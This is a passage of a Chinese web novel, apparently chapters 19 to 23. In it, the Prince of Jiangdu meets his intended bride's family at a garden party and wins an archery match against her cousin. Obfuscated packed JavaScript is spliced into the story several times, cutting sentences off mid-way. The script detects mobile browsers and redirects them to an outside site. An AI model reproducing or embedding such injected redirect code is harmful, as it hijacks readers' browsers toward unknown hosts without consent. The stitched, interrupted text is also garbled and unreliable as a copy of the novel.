在场的这些夫人贵妇们此次前来的目的或许有很多,为家中子弟儿女相看亦是其中一项。如今见到百里漾形象上佳,身份亦尊贵,心动想让他成为自家女婿的并不在少数。只可惜江都王妃的人选已定了定国公家嫡女,令人遗憾。不过,正妃当不得,诸侯王亦有两名侧妃的名额,一样可以上皇家牒谱。 能上牒谱就不算是妾。 百里漾还不知道,只是这一会儿的功夫,就有人盯上了他侧妃的位子。他眼下既来到这看台上,见了这些人的面,越国长公主身为主人家便要出面简单地介绍一下。 “这位是定国公夫人。”待介绍到一位坐在她左下位的夫人时,越国长公主肉眼可见地更加愉悦了,眼里的笑意也更深了。 定国公夫人? 岂不是是他未来的丈母娘? 百里漾忽的就莫名紧张起来,但他面上依旧镇定,目光直视前方未有一点飘忽闪移,客客气气地问了声好,算是打过招呼了。 他是男宾,自有骆恒招待。此处又是妇人居多,百里漾不能在此久留,此番与越国长公主打过招呼后便告辞离开了。 骆恒带百里漾离开越国长公主所在的看台后,向他介绍了此次游园会有什么可供玩耍的项目,如骑马、射箭、蹴鞠一类的高强度活动,或是吟诗作对、泼墨挥毫、曲水流觞等雅事,亦有投壶、捶丸类的小游戏,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736841|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可选择在长公主府的人的陪同下游览别业的风景。 骆恒先领着百里漾至为他备好的看台之上,此处位置视野亦极佳,可以将场中全景收入眼中。百里漾的目光略微流转,看到了一些认识的人,又看到了向他狂招手的崔栋。 见状,骆恒很适时地说道:“我便不打扰五郎了,若有所需,五郎尽管吩咐便是。” 百里漾谢过这位表兄的体贴,又表示自己不会客气的。等骆恒一走,他便往崔栋所在的看台过去,可他过去了,崔栋却不见人了。 “舅母。”百里漾先拜见舅母李氏。 李氏高兴道:“五郎来了,崔栋与我念叨了一路,你来了他却不知跑哪里去了。”说罢,吩咐身边的人去寻公子回来。 “漾表兄安。”李氏身旁还有一名二八年华的少女,小脸圆圆红扑扑的,笑起来还有小酒窝,面对百里漾有些害羞,举止却落落大方,站起来与他行礼问好道。 “表妹好。”百里漾亦回礼道。 少女便是国舅崔预与李氏之女,名若,崔栋的妹妹,只比他小了一岁。那日百里漾去舅舅家拜访是见过她的。 百里漾记得,这个表妹小时候最喜欢跟在哥哥崔栋后边跑,可那时候的崔栋皮得人嫌狗厌,不喜欢身后跟着的这个小尾巴,次次都想把她甩掉,屡屡把小崔若弄哭,然后每次都被疼女儿的舅舅拿鞭子追着抽。 五年不见,当年的哭包小姑娘也长大了。百里漾看到了崔若梳了了未婚少女的发髻。 在这个时代,女孩子及笄后便可嫁人,不少女子十六岁都已为人妻了。但舅舅与舅母疼女儿,想多留女儿两年,而且皇后的外甥女也不愁嫁,故而现在才开始为女儿相看人家。可在百里漾看来,在他上一世十六岁的年纪也正是读书的时候,放到这却准备要嫁人了,想想都觉得摧残人。 这般想着,百里漾的思绪不由得开始拐弯,他想到了自己的未婚妻,据说比他大了一岁,但也只有十八岁而已。之前他在越国长公主那里见到了定国公夫人,却没有在她身边见到符合年纪的女子。想必如今那位未婚妻就在这别业之中了,此时却不知在何处。 其实说是未婚妻,名义上还不是,虽然大家都心照不宣了。 百里漾要等崔栋回来,坐在此处与李氏说了些话,与表妹崔若也闲聊了几句,他问崔若会不会骑马。 崔若只是性子看似腼腆害羞,可她毕竟有一个当大将军的爹,说到骑马眼睛就亮亮的,认真点头,“会的,我还能在马上射箭呢。” “哦,想不到表妹还有这般本事。”百里漾面上显出了些意外之色,但想到舅舅崔预很快就理解了,他说,“此处南边有一块草地可跑马,表妹可要去骑马?” 崔若的眼神更亮了,她十分意动,还记得要征求母亲李氏的意见,不说话,眼睛里请求的意味很明显。 20. 第 20 章 李氏无奈,她就知道拘着女儿她也坐不住多久,只好道:“等你阿兄回来,让他陪你一块去。” “谢谢阿娘。”崔若十分高兴,向李氏与百里漾表示告退一会儿,她要去换一身方便活动的骑装来。 女儿看着腼腆实则性子活泼,装文静也装不了多久,李氏颇有些头疼。她还记着百里漾,请他喝茶,见崔栋迟迟不见影,又派两人去寻。 好在不多时,崔栋跑回来了。这货一身朱红色的骑装,搭配黑色的束带绑腿,头上还系了藏青色的饰玉抹额,手里抱着一只鞠球。他见到百里漾很高兴,喊道:“五郎你来了,我们蹴鞠去。” 一看他这副样子就是已经踢过几脚了,还很尽兴的样子。 百里漾拒绝他,说道:“不了,我答应了表妹要去骑马。”他本身对蹴鞠没多大兴趣,满场追着球跑,还容易弄得一身的泥和汗水。 “妹妹要去骑马?!”崔栋的眼睛瞪大了些,他二话不说直接将鞠球塞给了身边的随从,说自己也不去蹴鞠了,他也要跟着去。 崔栋之前去马场看过,男子居多,他要防止一些居心不良的男子靠近他妹妹。 这货小时候不喜欢拖油瓶似的妹妹跟着,现在长大了,他反倒对妹妹稀罕的不得了,可惜崔若也不似儿时那般非要追着哥哥跑了,又加上男女有别,更不能似儿时那般亲近了。这让崔栋觉得万分可惜。 原先崔栋与一帮认识的子弟们约了蹴鞠,眼下就不能去了,他又跑去与别人说不踢了,再回来时崔若已经换好一身利落的骑装。 三人向李氏说一声,一起朝着马场去了。 别业的马场建在然溪山脚下一处广阔的草地之上,远远就能听到马蹄奔腾疾驰的踩踏声以及马声嘶鸣,四面空旷,吹来的风很大,衣袖也胡乱地扬动起来。 马场边上是一排长长的马厩,不少人都在挑选马驹。选定马驹后,由马夫将马牵出栏。懂骑术的人直接翻身上马,也有不精通的人由马奴扶上马背,再让熟练之人牵着马绕着马场边走几圈。远处则是驭马在马场上疾驰的人们,男男女女皆有,不过还是男子居多,但是百里也见到了一些骑术出色不输男子的女子在策马疾驰着。 大衍朝至今才传到了第一代,哀帝末年那十几年的战乱使得各地尚武之风兴起,加之高/皇帝以及当今两代皇帝都好骑射,湛京的这些子弟自然也得练上,出色的亦有不少。此时风气开放,没有前世听闻到的那么多束缚人的规矩,这是令百里漾稍微比较欣慰的一点。 “妹妹,可要哥哥为你挑马?必定为你选出一匹好马来。”站在马厩前,崔栋指着面前的一排马,豪气干云说道。 他自小习武,骑射功夫是亲爹崔大将军下了狠手训出来的,骑术了得的同时对相马亦颇有几分心得,所以他说这话可不是吹牛的。 百里漾也在看马。 这马厩很大,容量在四十匹左右,有十几栏是空的,此时正在场中或疾驰或闲步走着。这些皆是越国长公主府中饲养的良种马。他没有崔栋那么厉害相马本事,但多少也看出来了,这些马的性情大多温和,所以才敢挑出来供宾客驱策。越国长公主府想的也是周到。 “不,我要自己挑。”崔若微红的小脸上目光灼灼,透着惊人的亮色,全然不见之前见百里漾时的害羞。只能说不愧是将门之女。她很快便挑好了,指着一匹通体白色的马让一旁的马奴将它牵出栏来。 崔栋上前去看,这匹马亦是不错,颇为神俊,他当即夸妹妹眼光好。又见崔若要上马,忙上前去护着她上去,唯恐妹妹掉下来,妥妥的妹控一枚了。 崔若可没有这么娇气,很是利落地翻身上马了。 见状,崔栋又在一边拍掌赞叹。 “五郎,你不选一匹么?”过了不久,崔栋也挑好了马,转头见百里漾还立在原地,催促道。而后他又以为百里漾嫌弃这马厩中剩下的马太过温和,笑道:“方才我观场上有一匹马最是神俊不过,可惜已被人选走了。” 世间最上等的好马多是烈马,往往很有自己的脾气,气性大的很,可一旦驯服便可得一千里良驹,忠心侍主,矢志不移,作战时是绝佳的好帮手。可这样的好马更是难得,崔栋也爱马,欲寻好马,可惜一直未能得偿所愿。 闻言,百里漾便往马场中远眺找寻,但马场之上人来马奔,身影来回跃动闪移,哪里能够看得分明。 百里漾最后挑选了一匹通体黑色又间杂了些花色的马。他此前邀了崔若过来骑马射箭的,便不能言而无信,何况崔若兴致勃勃,更不能扫小姑娘的兴了。 三人骑着马在马场上畅快跑了两圈,崔若被两个哥哥一左一右护在中间。崔若别看是一小姑娘,骑术却是不差的,起先崔栋为讨妹妹欢心故意想让,随后发现人家并不需要他让,亦能与他们一争高下。 崔栋既惊奇又马上自豪起来。百里漾也觉得这个表妹很是让人喜欢,初见时还有些害羞,上了马场却有着许多人没有的洒脱快意,叫人看着就高兴。 “那有靶场,我们过去吧。”几圈跑下来,心情畅快,崔栋指着不远处的靶场说道。 马场边上就是靶场,立有箭靶,弓箭、护具很齐备,眼下也有人在引弓射箭。 “好,阿兄,漾表兄,我们快过去。”崔若看得眼馋,催着两人过去。 三人归还了马,又一同去了靶场。此时的靶场颇为热闹,围了一圈人,似乎是有人在比赛射箭,还有彩头,故而引人围观了。 百里漾与崔栋、崔若兄妹到时,刚巧见到一年轻男子搭弓上箭,“嗖”一声,箭离弦,稳稳地扎进了箭靶的红心之上,周围顿时响起一片叫好之声。 百里漾抬眼去看,那箭靶放置的颇远,距离没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736842|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百步,亦有七十步,按照他前世的算法应该在九十八米上下,这个距离能够射中靶心,持弓人的射术亦可在称赞之列。 年轻男子受了周围人的称赞,转头看向身边的一女子,随后再看向与他比箭的青年男子,“如何,可愿认赌服输?” 对面执弓之人不知是哪家子弟,看着自己只射在靶心外面一环的箭,脸色难看且难堪。他输了,甚至可以说输得很惨。可他极不甘心,周围观看这场比试的人基本上都是湛京里有头有脸、说得上号的各家子弟,只消到明日,在同一个圈子里混的都知道他输给了一个破落户,日后他在圈子里还怎么混。 到了这一步已不是彩头的问题了,而是关乎面子,所以他迟迟不愿意认输。 “原来是他们。”崔若小声嘀咕道。随即她想起两个兄长长期不在湛京,对这些高门子弟不熟悉,向两人解释他们的身份,“执红尾箭的是刘家八郎,执蓝尾箭的则是顾家长子顾晟开。” 两人比箭,特意用不同颜色的染料涂抹在箭杆尾部作标识,一蓝一红,目下来看是蓝尾箭占了上风。他们采取的是三箭定胜负,眼下两人分别射了两箭,第一局是六十步箭靶,两人相差无多,第二局是七十步箭靶,差距明显。那刘八郎若想逆风翻盘,除非接下来能在八十步箭靶上正中红心。 但显然很难,刘八郎连七十步都不能射中红心,八十步就更不可能了。这是本身射术不行,别幻想着有奇迹出现。 刘八郎也是知道这一点,故而脸色难看,他知道自己输定了,没有必要再射第三箭自取其辱。可面子上过不去,且对面显然不打算给他台阶下。 正当刘八郎想着说辞给自己挽回一点颜面时,他眼珠子一转,忽然在围观的人群中给自己找到了救星。他自己的场子是找不回来了,可必须要把破落户顾晟开也给踩下去。 “崔大哥,原来你在这。”刘八郎热情地朝崔栋走来,他知道自己与人比箭输了估计被崔栋看了全程,赧然道,“小弟射艺不精,让崔大哥看笑话了。” 刘八郎看到崔栋身边还有两人,崔若他是认识的,笑眯眯先行礼打招呼,又看向崔栋身边的百里漾,一个他看着挺面生的人,十分客气地先自我介绍道:“在下刘昶,家中行八,未请教仁兄高姓大名。” 百里漾还未说话,崔栋先开口了,“他是我家中表亲,在家行五。” 刘八郎习惯性地先思索这是个什么人,然后脸上的笑容忽然就僵住了,变得有些惊慌惶恐。他也不傻,崔栋一两句话介绍的简单,却也足够他明白眼前之人是什么身份了。何况之前就有消息说此次游园会江都王会来,没想到真站在他面前了。 “见过江都王。”刘八郎赶紧行礼道。 周围人早就因刘八郎的举动关注到了百里漾他们,又经崔栋开口后亦明了了百里漾的身份,也纷纷行礼道。 21. 第 21 章 百里漾免了他们的礼,只说自己今日与他们一般皆是来客,让他们不必过分拘礼。他表现随和不摆什么诸侯王的架子,但这些人依旧因为他的现身而拘谨了许多。 “五王可是要射箭?”因为百里漾的到来,刘八郎没了与顾晟开相争的心思,也放弃了原本想请崔栋出手压下顾晟开的念头,直接对顾晟开认了输,并恭敬询问百里漾道。 “不是我。”百里漾笑着轻摇头,看向崔若说道,“不是说要射箭么?” “当然要。”崔若本就是奔着射箭过来的,说完便去拿弓箭和护具了。崔栋要全程护着妹妹,也陪着去了。 百里漾在原地等候,他无意在众人眼中出风头,何况眼前还有一个殷勤的刘八郎。刘八郎的母亲那边与崔氏有些弯弯绕绕的姻亲关系,所以他上前对着崔栋能喊“崔大哥”,百里漾要与崔栋面子,就不会对刘八郎冷脸。 刘八郎亦是一个颇为圆滑的人,他别的没有多说,只挑了一些今日游园会与这几年一些湛京里有趣的事情说,倒也不让人觉得厌烦与扰人。 百里漾一边听着,忽然感觉有一道目光落在他的身上。倒不是他敏感,事实上,自从他显露了身份之后,他便被周围人有意无意地注目着。只是这道目光不一样,它不时落在百里漾身上,一会儿抽离一会儿又落下,带着好奇与探究。 百里漾不由得目光微转在人群中找寻目光的源头,当目光落在一名青衣女子身上时,两人的目光相接,同时微微愣住,随即相互向对方颔首示意。 那一瞬间,百里漾就感觉自己的心跳突然漏了一拍,这是从来没有过的感觉,有点莫名其妙。他不敢多看人家姑娘,那样太没有礼数,可是又控制不住地想用目光去追寻那女子的身影。 “五王,那位便是定国公家的嫡长女。”刘八郎本就在密切注意着百里漾的动态,精准捕捉到了他那一瞬间的失神,循着他的目光看去,心思一转,当即为他说明了女子的身份。 原来是她。 百里漾愣怔了下,他来这里的目的就是想见一见他那位即将定下来的未婚妻,却没想到他们的相见会是在这般不经意的情况之下。想到之前明显感受到那道落在他身上的目光,百里漾抿抿唇,原来她早就看到他了。 旁边的刘八郎说完之后小心地观察着百里漾的神色,一时之间也摸不清楚百里漾认出了颜氏嫡女后是个怎么样的态度,故而沉默不敢吱声。 “七娘。”顾晟开的注意力一直留在颜漪身上,自是看到了颜漪与百里漾的隔空对视,又看到了百里漾略略失神的模样,眼底微沉,忍不住唤了一声。 “表兄,何事?”颜漪收回视线,问道。 “你也瞧见了,那位便是江都王了。”顾晟开眼里波谲云转,忽然道,“此处是靶场,听说江都王骑射过人,不若让我替你试试他。”说罢,不等颜漪回应,他大步向前,径直走到了百里漾面前拱手道:“顾晟开拜见江都王,早闻大王射术精绝,在下不才,望大王能赐教一二。” 顾晟开此番动作,惊了周围一片人。一些表情管理不甚到位的,更是瞪圆了眼睛,无比诧异。这顾晟开是怎么回事,好好的怎么想着要找江都王赐教一二? “请赐教”这话说的是好听,可配上顾晟开那桀骜昂扬的姿态,再加上他之前又赢了刘八郎,给人的感觉更像是向江都王发出了挑战。而且关键的是,顾晟开位卑,此前与江都王更是一点交集都没有,第一次见面就说要人家赐教一二,一旦有心人想的多了,挑战就会变成挑衅。 顾晟开真是好大的胆子。 一时间各人什么想法的都有,也有一些人瞧见了一旁的颜漪,想着说不得是女方家要试试新婿的本事品性,哪怕新婿身份贵重。可女方家是定国公府,也能够理解一二吧。 百里漾没想到怎么一会儿的功夫事情就发展成这个样子了。他也觉得莫名其妙啊,这算是被人下战书了么?还有,这几年他远在江都,是谁传“他射术精绝”这种话的?当然也有可能是这顾晟开为了让他应战故意说出来的话。 还有,这人是哪冒出来的啊? 那一瞬间,百里漾甚至在想这顾晟开不会是他那些兄弟派来让他难堪的吧? 这么多人都在旁边看着,为了不留下一个“怯战”的名声,百里漾必然是要应下顾晟开的比试邀请了。他微微眯了眼睛,说道:“赐教不敢当,若说射术精绝当是吾长姐。不过今日既在此处,遇上尔如此盛情相邀,吾愿与尔切磋一二。” 百里漾依旧不知道这突如其来的比试是怎么回事,可他发现这顾晟开此前多次与颜漪说过话。于是他转眼去看颜漪,想从她的神色中看出什么,颜漪此刻亦在看着他,神色让他有些看不懂。他们到底只是两个初见面不久的陌生人,百里漾并不能从那双顾盼生姿的明眸中看出什么信息来。 所以,此举是不是她授意,又意欲何为呢? 颜漪自然知道百里漾在猜疑她,但她解释不了,或者说不能解释。顾晟开是突然做出的举动,她也惊到了,事先完全一点预兆都没有。而他的话一出口,就收不回来了,这事在当下也暂时找不到找补的余地。 她担心的是江都王会因此事产生芥蒂。 在这个当口,崔栋与崔若挑好弓箭护具回来了,一回来就得知了百里漾要与顾晟开比试射箭的事情。 “怎么回事?” 崔栋皱眉,他也闹不清楚情况,只能以目光在对面的顾晟开与颜漪身上来回扫过。他是知道顾晟开与颜漪之间的表兄妹关系的,所以对于顾晟开的这番公开挑战,心中也是同百里漾一般拿捏不定对方的意图的。若是换了别人敢这般挑衅,他不当场反击才怪了。 百里漾对着他摇头,表示自己也不知。 既然已经应下了比试,眼下自然是比了再说。可当众比试,百里漾有一种被架在火上的感觉。他要是输了,那些兄弟不知道会怎么笑话他。 “不知顾校尉要如何比?”崔栋替百里漾问道。 “大王为尊,便请大王决定。”顾晟开回道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736843|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从头至尾,他都不敢回头看颜漪。 “既如此也不必麻烦了,就如之前,以三箭定胜负。”百里漾说道,“第一箭在八十步,第二箭在九十步,第三箭则在百步,如何?” 此话一出,当即引起了一阵哗然。 原先顾晟开与刘八郎的比试第三箭才定在八十步,如今江都王一开口便要将第一箭定在八十步上,最后一箭直接到了百步,听着就吓人。因为这比箭方式是江都王提出的,大家本来就对他充满了好奇,这下是震惊又亢奋,对接下来的比试更加期待了。 顾晟开闻言呼吸一窒,他握着弓的手收紧,深吸了一口气,对百里漾拱手道:“大王英勇,在下并无异议。” 百里漾走到弓架处,随手拿起一把弓,试了试弓弦,从箭囊中抽出一支箭,箭尾处正好涂了红色的颜料,对顾晟开说道:“就如方才一般,我执红尾箭,你执蓝尾箭,如何?” 顾晟开也没有意见。 第一箭是八十步。 这时候的一步差不多相当于百里漾前世的一米四十公分,八十步换算下来约莫是一百一十米,约等于一个百米赛跑。他们拿的是二石弓,按照当下从军的标准,一个普通的士兵持一石弓能在八十步开外射中箭靶便是合格。二石弓的拉力是一石弓的两倍,对臂力的要求更高。刘八郎能开二石弓,即使放在军营中都可算是精英了。 靶场要重新布置,原先顾晟开与刘八郎的射靶被换下去,在八十步的距离重新立起了新靶,那边举旗示意之后,就可以开始了。 百里漾与顾晟开是同时射箭的。他目光紧盯着八十步外的箭靶红心,左手握弓,右手控弦,一下便将弓拉满了。下一瞬,箭支离弦,“嗖”地带出了破空声,箭头重重扎进了靶心的正中。同样的声音紧接着在耳边响起。 “红尾正中红心。” “蓝尾正中红心。” 负责查看箭靶的人几乎同时报出了结果,围观的人当即发出了欢呼声。 “五王好箭术。”顾晟开看了靶心上的红尾箭,眯了眯眼,对百里漾称赞道。 “顾校尉箭术也不差。”百里漾从箭囊里重新抽出了一支箭,“接下来,还请顾校尉继续不吝赐教。”说罢,上箭,满弦,箭离弦,“砰”的一声,再次正中红心。 他的动作一气呵成,几乎是眨眼间就达成了八十步外命中靶心的成绩,快得许多人都没有反应过来,然后再一次欢呼。 崔若目光专注看得眼睛都在放光,充满了厉害表兄的敬仰之情,“漾表兄好厉害啊。” “还有更厉害的。”崔栋不以为意,看着又射出一箭的百里漾,“这才哪到哪啊。”随后意识到妹妹对表兄的崇拜太过了,这哪行,他才是妹妹最厉害的哥哥。 崔栋小声与崔若拍拍胸膛,自夸道:“你漾表兄还差点意思,你哥哥我能拉动三石弓。” “三石?!”崔若捂住嘴小小地惊呼了一下,她是相信兄长的,一双晶亮的眼眸中如崔栋所愿出现了他想要的崇拜。 22. 第 22 章 这时,人群再次发出惊呼。原来是顾晟开也射出了第二箭,亦正中靶心。 两人再次平局。 百里漾望着那支正中靶心的蓝尾箭,再看顾晟开不由得带上了几分欣赏。能开二石弓,九十步开外仍能命中准心,臂力与准头都很出众,不愧是从定国公府中出来的。 他已经知道了顾晟开的身份。顾晟开的母亲是定国公颜定山的妹妹,嫁给了如今已经落魄的士族顾氏,但顾氏这些年一直在走下坡路。家族不给力,但顾晟开很是争气,二十出头已经做到了禁军校尉。如今一看,果然是有些本事才干在身上的。 原来此举是来试他本事的。 这么一想,百里漾忽然就能理解了。 只是定国公府推出来的这位表兄,还真让他感觉到了几分压力啊。 想到这里,百里漾再次控制不住地想要去看那位未婚妻。可惜他看不到,因为此刻颜漪正好侧身过去又被中间一个突然站起来的人挡住了,内心忽然有些小失落。 此时是换靶的间隙,靶场的人要在百步远的地方立箭靶,同时驱散那个方向的人,避免误伤。 而那厢颜漪将顾晟开叫来,目光有些冷,提醒他道:“表兄,适可而止。”她是恼怒的,甚至惊怒于顾晟开的自作主张,这根本不在她们的意料之中,好在事态还可以控制和补救。 顾晟开只听出了颜漪对他的指责与警告。他一瞬间攥紧了拳头,未免自己失态,他很快松开了,故作爽朗保证道:“七娘放心,我有分寸,定不会惹出乱子的。也好让我替你试一试,这位江都王是不是绣花枕头。” “表兄试到如今,可看出来了?”颜漪眼带愠怒,语气都冷了下来。她头一次觉得,这个表兄是如此分不清轻重。 顾晟开一直在观察颜漪的神色,立时就察觉了表妹对他的失望。他的心仿佛被狠狠地攥紧了,表妹从来没有对他这般冷淡失望,这都是源于那位江都王百里漾。凭什么,凭什么!他心里痛恨却不能泄露一丝一毫,面上再次保证道:“表妹且放心,我不会真的做出什么的。” 很快到了第三箭的比试。 围观这场比试的人更多了,基本上都是因听闻江都王之名而来的。大家都好奇这位椒房嫡出的江都王长什么样子,又听闻他跟人比试射箭,纷纷都赶来了,都想一睹这位江都王的风采。 崔栋环顾四周,发现人越来越多了,对百里漾呵呵笑道:“这下好了,等今日一过,整个湛京都知道你江都王的英武之姿了。” 百里漾看着周围乌泱泱的人,笑不出来,他不是想出风头的性子,只是都到这份上了,想不出风头都难了。 “看啊,那就是江都王。” “他们真的要射百步远的箭啊,这么远的距离,真的能射中么?” “只听说定国公与大将军能做到如此地步。” 人们议论纷纷,激动中带着期待。 百步的距离,一百四十多米的距离,箭靶远远看过去变成了极小的一个影。崔栋用手支在眉前遮挡光线,侧头问百里漾,“这第三箭,你能不能压过对方?” “不好说。”百里漾不是过度自信的人,他可不会觉得自己穿越还换了个性别就是天选之子了,何况老天爷也没给他点什么“天生神力”、“百发百中”之类的金手指,武艺骑射都是他下了狠功夫练出来的,也没有到天下无敌的地步,总会有人比他厉害,再者说到底湛京还不算是他的主场。他也最多只能保证即使输了也不会太难看就是了,“百步穿杨我做不到,射中靶心还是可以的。” 顾晟开在南衙任职。南衙是禁军,掌皇城守卫,亦是天子亲军,选拔条件苛刻,他年纪轻轻便做到了五品校尉,可见是很有实力的。否则也不会被定国公府派出来试一试百里漾这个准女婿的本事了。 百里漾想,定国公是悍勇之人,他估计不会希望自己未来的女婿是手无缚鸡之力的文弱之人,派个人来试试他尚在情理之中。这么一想,即使他不能赢,也绝对不会输。 第三箭,两人是同时射出的。 在众人的惊呼声中,两支箭几乎同时狠狠扎进了靶子里。负责查验的人很快报出结果,红尾箭正中靶心,蓝尾箭则稍微偏离了半寸。 结果很明显,这场比试是百里漾赢了。 顾晟开低头定定看着自己握弓的手,几息后将弓扔给随从,朝百里漾抱拳道:“五王射术果然精湛,在下甘拜下风。” “吾还要谢过顾校尉相让。”百里漾面上笑得和煦,与顾晟开过了几句场面话。 他那位未来的未婚妻颜漪也过来与他道贺,又说道,“表兄鲁莽,冒犯五王,请五王恕罪。” 原来还真是来试他本事的。百里漾心中忽然就有些定了,他很大方地表示自己不介意,还自谦了几句,说是运气好以及顾校尉承让云云。 他们俩之间的距离头一次挨得如此之近,虽然中间的距离依旧能够插下好几个人。百里漾初见颜漪便觉得惊艳,如今靠的近了更觉得她十分耐看,鹅蛋脸,容貌尤为明艳大方,身上有股让人很舒服的气质。 颜漪察觉到江都王正在盯着她看。这本来是很失礼的举动,可是她在江都王妃眼中只看到了纯粹的惊叹与欣赏。他的目光很单纯,叫人也生不起什么恶感来。她忽然觉得,长公主百里澄与她说的“江都王不太一样”有了一点真实感。 两人的第一次见面便是在这游园会上匆匆进行了。 回府的路上,定国公夫人曹氏与女儿颜漪同坐在一辆马车内,顾晟开则作为外甥骑马在前护送舅母与表妹回府。 宽敞的马车内,曹氏放下了手中掀起的车帘,外甥顾晟开的身影也被这一道帘子隔绝了。她说起了游园会的事情,比箭的事情她自然是知道了,当然最重要的还是江都王。她问女儿,“今日与江都王一见,你观他如何?” 女儿要嫁人,做母亲的要操无尽的心。曹氏想要尽可能地给女儿找一个良配,如今已定下了江都王,她无力改变,只能寄希望于江都王是一个品性好的男子。今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736844|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她来此,亦是抱着相看女婿的心思来的。 这天底下的人家挑选女婿,不外乎家世、品性、才貌三点,不过侧重点以及最后的取舍不同罢了。而比起平常人家,他们这样的人家需要考虑的则更多。江都王的家世无可挑剔,相貌亦是俊秀,才干也出挑,但若想女儿日后过的好,品性才是唯一衡量的标准。 天家那是天底下一等一的尊贵,女儿嫁进去是高嫁,即便是受了委屈,娘家能帮到的也不多,只盼望着女婿是个体贴会疼人的。哪怕不喜欢她的女儿,至少也能做到相敬如宾,给予妻子基本的尊重。 颜漪细细思索后答道:“江都王心思澄明,磊落大方,性子亦宽和。表兄鲁莽冒犯,他亦能宽容待之。”这便是百里漾给她的初印象。 其实还有些别的,但她不好与阿娘说。 “那就好。”曹氏对江都王的初印象也颇为不错,心下稍宽慰,可下一瞬却拧了眉,“你表兄素来稳重,今日怎如此胡来?”从语气中听得出来,她对顾晟开今日之举极为不满。 顾晟开是她小姑子颜氏之子,因为所托非人,且顾氏不仅没落内部更是一团糟污,母子俩日子过得糟心,因为丈夫的关系以及觉得母子俩可怜,曹氏一直没少照顾他们。而顾晟开也颇是争气,身处泥泞却能坚韧向上,曹氏向来是颇为欣赏这个外甥的。但这次他擅自强拉江都王比试之事,着实是惹起她的怒火了。 外人看着还以为定国公府自恃功高竟然挑拣起皇子来了。顾晟开此举无异于是给定国公府、给她女儿惹祸。好在最后没有酿成什么不好的后果。 颜漪默然不语,此事她也恼怒于表兄的自作主张。 “此事你就不必管了。”曹氏将气顺下,到底是关系不远的亲戚,此事还涉及到了丈夫定国公的亲妹妹,之后要如何,还要回去与丈夫商议一番。 这场颇为盛大的游园会是在日落西山,黄昏之前结束的。来客皆向主家告辞离开了,百里漾与崔栋兄妹还有李氏则被越国长公主留下来用了晚膳再离开。长公主好意相邀,他们便留下来蹭饭了,崔栋他们派了仆从回去向家中告知此事。 可怜崔大将军当了一天值回家却要一个人孤伶伶地吃晚饭了。 越国长公主极为热情,留他们到月上柳梢头才遣人护送他们回去。李氏和崔若坐在马车之内,百里漾和崔栋则骑马在外面吹风。 酒意微醺,迎着夜间微凉的晚风,崔栋打了一个哈欠,脸上有些许困顿之色。崔若还是小姑娘,游园会上也疯玩了一日,已然困倦,这会儿蜷在马车里也不知睡着没有。 回去还有一段路,为防止真的骑在马背上昏昏欲睡,百里漾拍拍脸,用力眨了眨眼睛,把精神提上来,扭头问崔栋,“今日你可见到卢家的那位六娘子了?” “唔?”崔栋忽然打了一个哈欠,乍听之下还没有反应,意识到百里漾问了什么之后,人也不困了,换上了一张苦大仇深的阴沉脸,也不说话。 百里漾明白了,这是见到了,但还是不满意? 23. 第 23 章 不应该啊。知子莫若母,崔栋什么德性,舅舅舅母不会不知道的。即便是要按着头给崔栋议亲,大概率也会寻摸一个品性样貌好的女子让崔栋不会那么排斥,且舅母的选儿媳妇的眼光还是很可以相信的,卢氏必然是好女。 “也不是不好。”崔栋想起今日隔着颇远的距离见到的卢氏,也不能昧着良心说人家不好,可是这不是好不好的事情,心里实在是纠结,干脆又陷入了长长的沉默。 所以这还是结婚恐惧症在作祟啊。 百里漾叹,这种事情总要当事人自己能想开才是最好的。他自己也想到了今日与颜漪的见面,心绪也不太平静。成亲这种事情,两辈子这还是头一回。受上辈子的影响,成亲于他的意义总归是很特别的,两个人是因为两情相悦才走到一起的。而以如今的情况来看,这是怎么都不可能的。他们最多只能走先婚后爱的剧情。 看来需要做好心理建设的人还不只是崔栋一个。 他们有一段很长的路是同路的,但到了一个岔口,百里漾与崔栋母子三人就分开了。一边回江都王宅,一边回大将军府。 